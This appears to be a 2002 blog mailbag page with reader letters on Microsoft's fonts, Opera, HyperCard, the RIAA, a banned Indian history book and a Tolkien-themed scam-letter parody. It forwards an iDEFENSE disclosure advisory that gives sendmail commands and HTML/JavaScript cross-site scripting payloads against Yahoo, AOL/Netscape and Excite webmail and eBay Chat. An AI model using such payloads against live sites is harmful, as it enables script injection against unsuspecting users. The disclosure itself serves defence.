| Monday
August 19, 2002
Thompson on the TrueType
"abuse:"
According to Microsoft, "the downloads were
being abused -- repackaged, modified and shipped with commercial products
in violation of the EULA." I think we all concede their right to
object to that, because the fonts were free-as-in-beer, not
free-as-in-speech. It seems to me that a more reasonable course would have
been to leave the fonts available for download and send a nastygram to
whichever companies were repackaging them or shipping them with commercial
products in violation of the EULA, but then I'm not Microsoft.
I see that Microsoft has made no attempt to prevent
other sites from posting those fonts, so long as they are posted in their
original form. That right was granted under the original license, and
Microsoft seems not to be trying to backpedal on it.
I don't much care for many of Microsoft's business
practices, but it seems to me that they're within their rights here.
-- Robert Bruce Thompson thompson@ttgnet.com http://www.ttgnet.com
<http://www.ttgnet.com>
And Roland comments:
I agree that they're within their rights
- I just think it petty of them. A more nuanced approach, such as the one
Thompson suggests, would be preferable.
Roland Dobbins
And I agree.
For bittersweet try:
A small visual effects studio in Australia has been
doing an alternate-reality documentary for awhile now.
"This film is based on an alternative timeline
to the Mercury-Gemini-Apollo era of reality - it is based on the premise
that all that had been proposed in the early 1950's in Colliers actually
came to pass - and sooner than they expected."
http://www.users.bigpond.net.au/
surfacesrendered/MCSHomepage.html
And while we're looking at SF and Art on the
Internet, have a look at http://www.e-sheep.com/spiders/
parts 1,2 and 3 (so far).
I'm no fan of e-comix, but this one manages to
contain at least one good and original SF story. Thought-provoking too.
Regards, Alan E Brain, Canberra, Australia.
It may be that Kennedy's leap to the
Moon was the wrong way to go. Of course I didn't think so at the time...
John Pierce used to wonder if we wouldn't have been better off building
sub-orbital re-usables and working our way up to orbit rather than
designing disintegrating totem poles...
And Keith Langill says
So, for no good reason, I dragged my feet moving to
Opera. You talked me into it today.
ZOIKS! It's fast, baby! WAY FAST. Now I feel mildly stupid. Oh well.
-k
I'm still sort of stuck with IE but
I won't be for too long.
From: Stephen M. St. Onge saintonge@hotmail.com
subject: Artificial vision
Dear Jerry:
An interesting story from "Wired":
apparently we're on the verge of artificial vision. WOW!
http://www.wired.com/wired/archive/10.09/vision_pr.html
Best, Stephen
We've been on that verge for a long long time...
And Roland reminds me
that I used to do a lot with HyperCard -- the Mac version of Roberta's
reading instruction program -- if you need to teach someone age 4 and
up to read English this will do it. -- was written in SuperCard which was
a kind of HyperCard. HyperCard was one of the really great programming
languages and one reason Apple was so useful. So of course Apple pretty
well abandoned it. it's still out there, though.
Of course it won't work with the new Mac OS. At
least not yet.
http://www.wired.com/news/mac/0,2125,54365,00.html
But it is one great language. Simple to use.
There were going to be Windows versions of HyperCard and I eagerly waited
for them, but if one ever happened I missed its coming out. Pity again,
because a SuperCard for Windows (SuperCard included sound, and could hand
a phrase to the Mac's wonderful text to speech engine) would have been a
really useful thing.
I suppose Visual Basic ate up the SuperCard for
Windows but I wish it hadn't.
And about when you think RIAA can't go crazier,
they do.
I note that you read and
responded to my email about the RIAA lawsuit. Thanks.
I think the RIAA has started believing their own
propaganda. It is one thing to bully individual artists, or threaten to
launch hacker attacks against small fry on the internet. It is another
thing entirely to launch ill-considered attacks against multi-national
companies as big or bigger than they are. Even if politicians do come
cheap, they should remember that their targets also have deep pockets.
Suppose whoever inherits UUNET were to go to Sony
and Time Warner and tell them, "Sorry, but our lawyers tell us we are
no longer allowed to maintain business dealings with companies that are in
the process of litigation against us. So until this lawsuit is settled, we
are not going to allow our routers to be used to access any of your web
sites." That might be a bit more inconvenient than a DoS attack.
I have posted a call for a boycott of the RIAA on my
web site at http://theforge.smithwrite.com in case you have any interest.
Regardless, I appreciate your efforts in maintaining a useful and thought
provoking web page.
Barry Smith
Well I doubt a boycott would work, and indeed
that's probably counter productive. But perhaps not. Me, I do not intend
to be deprived of Lord of The Rings.
And Mother India, that gentle home of
non-violence, makes the news in an odd way:
Holy Cow a Myth? An Indian Finds the Kick Is
Real NYT August 17, 2002 By EMILY EAKIN
"Holy Cow: Beef in Indian Dietary
Traditions," is a dry work of historiography buttressed by a 24-page
bibliography and hundreds of footnotes citing ancient Sanskrit texts. It's
the sort of book, in other words, that typically is read by a handful of
specialists and winds up forgotten on a library shelf.
But when its author, Dwijendra Narayan Jha, a
historian at the University of Delhi, tried to publish the book in India a
year ago, he unleashed a furor of a kind not seen there since 1989, when
the release of "Satanic Verses," Salman Rushdie's novel
satirizing Islam, provoked rioting and earned him a fatwa from Ayatollah
Ruhollah Khomeini.
As Mr. Jha's book was going to press last
August, excerpts were posted on the Internet and picked up by newspapers.
Within days the book had been canceled by Mr. Jha's academic publisher,
burned outside his home by religious activists and - after a second
publisher tried to print it - banned by a Hyderabad civil court. A
spokesman for the World Hindu Council called it "sheer
blasphemy." A former member of Parliament petitioned the government
for Mr. Jha's arrest. Anonymous callers made death threats. And for 10
months Mr. Jha was obliged to travel to and from campus under police
escort.
<snip>
Indeed....
Roland is reminded of the old Tom Lehrer song
about "He gives the kids free samples, because he knows full
well..."
The first taste is always free - until they're
hooked.
http://www.nola.com/news/t-p/neworleans
/index.ssf?/newsstory/o_microsoft16.html
The following is long, and involves a security
warning that probably doesn't apply to you; but if it does, it might be
important. Roland forwarded it, and I forwarded it along to subscribers,
again on the theory that it probably wasn't relevant, but it might be. To
skip it, click here.
From: David Endler <dendler@idefense.com>
To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
Subject: [Full-Disclosure] iDEFENSE Security Advisory: Cross-Site
Scripting Vulnerabilities in Popular Web Applications Date: 19 Aug 2002
08:39:49 -0400
iDEFENSE Security Advisory 08.19.2002
Cross-Site Scripting (XSS) Vulnerabilities in Popular Web Applications
Yahoo Mail http://mail.yahoo.com Netscape
Mail http://webmail.netscape.com AOL Webmail http://webmail.aol.com (same
as Netscape Mail) Excite Mail http://mail.excite.com eBay Chat http://pages.ebay.com/community/chat/index.html
DESCRIPTION
Many Web Applications generate dynamic HTML
web pages using user-submitted data and other sources of "untrusted
content." Web Applications not meticulously filtering this untrusted
content before presenting the web page to the user may allow for the
manipulation of the web page and its content interpretation by a web
browser.
This issue becomes dangerous when untrusted
content is able to be inserted into a dynamic HTML web page via a web
application or other means, causing the content to execute potentially
malicious code within a users browser with the exact same privileges of
the ligitimate web server.
Some Web Applications such as Yahoo Mail and
others, already meticulously filter incoming untrusted data before the
content reaches their users. However, given the loose interpretation of
HTML/JavaScript/VBScript etc. by various web browsers, obfuscated content
may elude the current filters and execute within the users browser
environment.
Allowing the attacker to target users almost
instantly without relying on the user performing any activities other than
normal usage. All vulnerabilties affect either Microsoft Internet Explorer
Browser or Netscape or both. These types of XSS vulnerabilities are
usually classified as "constant- state", as they exist
persistently for more than just one HTTP request. More detailed XSS
exploitation scenarios are detailed in an iDEFENSE paper available at
http://www.idefense.com/XSS.html.
ANALYSIS
*** Yahoo Mail ***
The following XSS vulnerability only existed
for Netscape 4.x browsers (see Vendor Response, this issue in Yahoo has
since been addressed):
bash$ sendmail -t target@yahoo.com
Paste the following email message
-------------------------------------------------- MIME-Version: 1.0 From:
Attack <attacker@foo.com> Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit Subject: XSS Attack
<HTML><BODY>
<ILAYER SRC="script.js"></ILAYER>
</BODY></HTML> .
--------------------------------------------------
*** Netscape/AOL Webmail ***
This XSS vulnerability exists in Netscape
Mail (webmail.netscape.com) and AOL Webmail (webmail.aol.com). The
following XSS behavior can be caused in both IE 5.x/6.x and Netscape 4.x:
bash$ sendmail -t target@netscape.net
Paste the following email message
-------------------------------------------------- MIME-Version: 1.0 From:
Attack <attacker@foo.com> Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit Subject: XSS Attack
<HTML><BODY>
<IMG SRC="javasc
ript:alert('test');">
</BODY></HTML> .
--------------------------------------------------
*** Excite Webmail ***
It would seem that Excite does not perform
any filtering of HTML/SCRIPT whatsoever. The following XSS behavior can be
caused in both IE 5.x/6.x and Netscape 4.x/6.x:
bash$ sendmail -t target@excite.com
Paste the following email message
-------------------------------------------------- MIME-Version: 1.0 From:
Attack <attacker@foo.com> Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit Subject: XSS Attack
<HTML><BODY>
<SCRIPT>alert(document.domain);</SCRIPT>
</BODY></HTML> .
--------------------------------------------------
*** eBay Chat ***
While you are logged in as an eBay user,
place the text sting below within the chat text field and click submit.
The message will appear within the main chat text message and will execute
in a user's browser when read. The following XSS behavior can be caused in
both IE 5.x/6.x and Netscape 4.x:
---- XSS String
------------------------------------ <IMG SRC="javasc
ript:alert(document.domain);">
----------------------------------------------------
DISCOVERY CREDIT
Jeremiah Grossman (jeremiah@whitehatsec.com)
Lex Arquette (lex@whitehatsec.com)
VENDOR RESPONSE
July 16, 2002 - Scott Renfro (scottr@yahoo-inc.com),
title "Paranoid Yahoo", responded and issue was fixed.
DISCLOSURE TIMELINE
June 27, 2002 Exclusively Disclosed to
iDEFENSE July 16, 2002 Ebay, AOL/Netscape, Yahoo, and Excite notified July
16, 2002 iDEFENSE Client Disclosure August 11, 2002 Second notice given to
Excite, AOL/Netscape, and eBay through web customer service suggestion
systems August 19, 2002 Still no response from Excite, AOL/Netscape, or
eBay - Public Disclosure
http://www.idefense.com/contributor.html
David Endler, CISSP Director, Technical
Intelligence iDEFENSE, Inc. 14151 Newbrook Drive Suite 100 Chantilly, VA
20151 voice: 703-344-2632 fax: 703-961-1071
dendler@idefense.com www.idefense.com
_______________________________________________
Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
-- ------------------------------------------------------------
END
Suicide of the West
James Burnham said that liberalism is a
philosophy of consolation for western civilization as it commits suicide.
Apparently he was right. This from Roland:
No, this isn't the Onion.
http://www.sky.com/skynews/article/0,,30000-12090008,00.html
I suppose nobody in Mr. Blair's Government remembers
WPC Yvonne Fletcher, shot to death by agents of this same man, whose
minions later blew up an airliner over Lockerbie?
Then we have:
Dear Sir,
I am an Uruk of Mordor, charged with the discovery
of a number of valuable treasures within Moria. It has come to my notice
that the mithril hoard previously owned by Ori of the land of Moria has
been found by one of our cave-trolls. Under our laws, the hoard will be
shared between our lord Sauron and the local Balrog, but so far neither
knows the extent of the treasure.
Sir, I come to you as a respectful businessperson in
order that we may derive some profit ourselves from this venture, I would
wish that I could arrange for the transfer of half of the find to
yourself, costing roughly 20,000 silver pennies. From this amount, I will
then arrange for a further such that 25% remains your own, 5% goes for
sundry costs (including hire of strong Rohan horses for use in
transportation), 5% is given in bribe to the cave troll to ensure the
quantity reported to our respective Lords is adjusted, 65% belongs to
myself and my fellow Orcs.
In order that this be accomplished, I ask only that
you provide details of:
Your willingness to participate in this venture,
Confirmation that you will not speak of this venture
to anyone else, or wear any magic rings,
Your race and land of residence,
The location of your local Palantir or identity of
your preferred message-carrying bird or beast,
Your given name, and any name you are known by in
the Western lands,
The number of ponies you possess.
I look forward to your returning correspondence,
which can be whispered to any passing magpie. I trust that you will ensure
that no other dark feathered birds come to hear of this transaction.
Heh
TOP
CURRENT
VIEW |
CLICK HERE for
a Special Request. 
